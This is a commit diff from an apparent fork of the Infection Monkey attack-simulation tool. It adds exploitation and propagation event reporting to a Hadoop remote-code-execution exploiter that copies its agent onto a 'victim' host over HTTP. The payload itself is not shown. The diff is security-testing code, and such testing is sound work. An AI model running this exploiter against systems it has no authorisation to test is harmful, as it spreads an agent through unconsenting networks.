forked from p15670423/monkey
Agent: Publish Propagation and Exploitation events from Hadoop
This commit is contained in:
parent
4709ae771b
commit
fe864792f3
|
@ -40,11 +40,19 @@ class HadoopExploiter(WebRCE):
|
|||
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
|
||||
self.add_vulnerable_urls(urls, True)
|
||||
if not self.vulnerable_urls:
|
||||
self.publish_exploitation_event(
|
||||
target=self.host.ip_addr,
|
||||
exploitation_success=False,
|
||||
)
|
||||
return self.exploit_result
|
||||
|
||||
try:
|
||||
monkey_path_on_victim = get_agent_dst_path(self.host)
|
||||
except KeyError:
|
||||
self.publish_exploitation_event(
|
||||
target=self.host.ip_addr,
|
||||
exploitation_success=False,
|
||||
)
|
||||
return self.exploit_result
|
||||
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||
|
@ -58,6 +66,12 @@ class HadoopExploiter(WebRCE):
|
|||
self.add_executed_cmd(command)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self.exploit_result.propagation_success = True
|
||||
|
||||
self.publish_exploitation_event(
|
||||
target=self.host.ip_addr,
|
||||
exploitation_success=True,
|
||||
)
|
||||
self.publish_propagation_event(target=self.host.ip_addr, propagation_success=True)
|
||||
finally:
|
||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
|
Loading…
Reference in New Issue